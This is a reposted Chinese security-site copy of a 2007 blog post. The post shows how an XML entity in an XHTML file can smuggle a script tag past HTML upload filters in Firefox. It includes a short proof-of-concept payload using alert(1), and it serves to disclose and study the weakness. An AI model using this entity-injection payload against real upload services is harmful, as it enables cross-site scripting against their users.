Injecting the script tag into XML 's

admin 2017年4月14日04:48:08评论266 views字数 1052阅读3分30秒阅读模式
摘要

鬼仔:这几天一直在玩游戏,更新不及时。抱歉。来源:Ph4nt0m Google Grouphttp://www.thespanner.co.uk/2007/10/09/injecting-the-script-tag-into-xml/

鬼仔:这几天一直在玩游戏,更新不及时。抱歉。

来源:Ph4nt0m Google Group

http://www.thespanner.co.uk/2007/10/09/injecting-the-script-tag-into-xml/

Firefox is now the browser I like hacking, there’s just so much stuff it
can do. I simply don’t have enough time to explore everything, but what I
have found was some very interesting XML behavior. I was helping Ronald
<http://www.0x000000.com/> a while back with a Firefox chrome security flaw
and we discussed on slackers <http://sla.ckers.org/forum/read.php?13,14680>
that some XML entities in Firefox contain sensitive information which it is
possible to read using XHR.
I thought of what other interesting things I could do with XML entities and
I found a way of injecting script tags using them. This could have
implications if you offer a HTML upload service but you filter out dangerous
tags for example. The proof of concept is very basic but displays the method
clearly.
XML <http://www.businessinfo.co.uk/labs/xml_injection/inject.xml> injection

代码如下(FF里测试成功):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html [
<!ENTITY inject "<script>alert(1)</script>">
]>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Test</title>
</head>

<body>
&inject;
</body>
</html>

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月14日04:48:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Injecting the script tag into XML 'shttps://cn-sec.com/archives/46646.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息